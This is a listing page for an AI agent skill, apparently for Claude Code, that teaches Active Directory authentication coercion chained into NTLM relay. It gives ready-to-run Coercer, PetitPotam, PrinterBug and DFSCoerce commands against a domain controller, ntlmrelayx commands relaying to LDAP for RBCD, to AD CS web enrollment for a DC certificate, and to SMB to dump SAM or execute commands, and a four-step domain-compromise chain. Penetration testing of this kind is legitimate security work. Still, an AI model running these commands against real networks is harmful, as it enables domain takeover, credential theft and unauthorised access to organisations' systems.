acl-abuse
Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite,…
Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a
$ npx -y skills add ADScanPro/Claude-AD --skill coercion-ntlm-relay --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/coercion-ntlm-relayContext preview
The summary Claude sees to decide when to auto-load this skill.
Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a
name: coercion-ntlm-relay description: Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a privileged machine account to authenticate to your relay and turn that into RBCD, a DCSync-capable ACL grant, or a certificate. Includes the exact Coercer/ntlmrelayx commands, requirements, detection, and remediation.
Two techniques that combine into one of the most reliable domain-compromise chains: **force** a target (usually a Domain Controller's machine account) to authenticate to a host you control, then **relay** that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.
The chain only works when a relay target is unprotected:
Check signing posture first:
nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt # hosts without SMB signing nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker # LDAP signing / channel binding state
---
You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's **machine account** ($) authentication at you.
**MITRE ATT&CK:** T1187 (Forced Authentication)
Abuses the EFSRPC interface (`EfsRpcOpenFileRaw` and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \ -l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc
Classic standalone tool:
python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10
**MITRE ATT&CK:** T1187
Abuses `RpcRemoteFindFirstPrinterChangeNotificationEx` via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \ -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN
Standalone:
python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL
**MITRE ATT&CK:** T1187
Abuses `NetrDfsAddStdRoot`/`NetrDfsRemoveStdRoot`. Useful when EFSR and Spooler are patched/disabled, because DFSNM is harder to turn off on a DC.
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \ -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-DFSNM
Standalone:
python3 dfscoerce.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10
`Coercer` sweeps all methods at once if you drop the filters, which is handy to find whatever is not patched.
---
Stand up the relay before you coerce. The coerced authentication lands on ntlmrelayx, which forwards it to your chosen target.
**MITRE ATT&CK:** T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS/relay) / T1187
Relaying a DC's machine account to LDAP lets you write directory objects as that machine. The `--delegate-access` flow configures RBCD so you can then S4U to the coerced host (Kerberos skill). Requires LDAP signing not enforced and channel binding absent.
ntlmrelayx.py -t ldaps://10.0.0.10 --delegate-access --no-dump --no-da -smb2support
After the relay writes RBCD, S4U (see Kerberos skill). A relayed DC can also be pushed to grant a controlled principal replication rights (the WriteDACL-on-domain-head path in the ACL skill), which then enables DCSync as a post-compromise step.
**MITRE ATT&CK:** T1557.001 / T1187
Relay the coerced DC machine account to the CA's HTTP web-enrollment endpoint and enroll a certificate as that DC. Then PKINIT the cert to a TGT (AD CS skill). Requires the web-enrollment endpoint up without EPA.
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \ --adcs --template DomainController
Coerce a DC (PetitPotam) into this relay, take the issued `.pfx`, then `certipy auth -pfx ...`.
**MITRE ATT&CK:** T1557.001
Relay to a member server whose SMB signing is not enforced to dump SAM or run a command as the relayed account.
ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami' ntlmrelayx.py -t smb://10.0.0.50 -smb2support --dump-sam
---
1. Confirm an unprotected relay target (`--gen-relay-list`, LDAP signing/CBT check). 2. Start `ntlmrelayx.py` pointed at LDAP / AD CS / SMB. 3. Coerce the DC (or other privileged host) to authenticate to your relay IP with Coercer/PetitPotam/PrinterBug/DFSCoerce. 4. Consume the result: RBCD → S4U (Kerberos skill), ESC8 cert → PKINIT (AD CS skill), or SMB action.
---
Active Directory pentest methodology for Claude Code. Skills, agents and commands that give Claude the playbook for an internal Active Directory assessment: the phase order, the environment constraints that break your tooling, the telemetry each technique
Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite,…
Real-world Active Directory environment constraints that silently break attacks when ignored: NTLM disabled (Kerberos fallback),…
The order of operations for an Active Directory penetration test: setup, collection, exploitation, post-processing. Use this…
The telemetry each Active Directory technique generates and what alerts a defender: Kerberoasting produces Event 4769 with RC4…
Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use…
A high-level conceptual mapping from Active Directory attack techniques to the compliance controls they touch. Kerberoasting…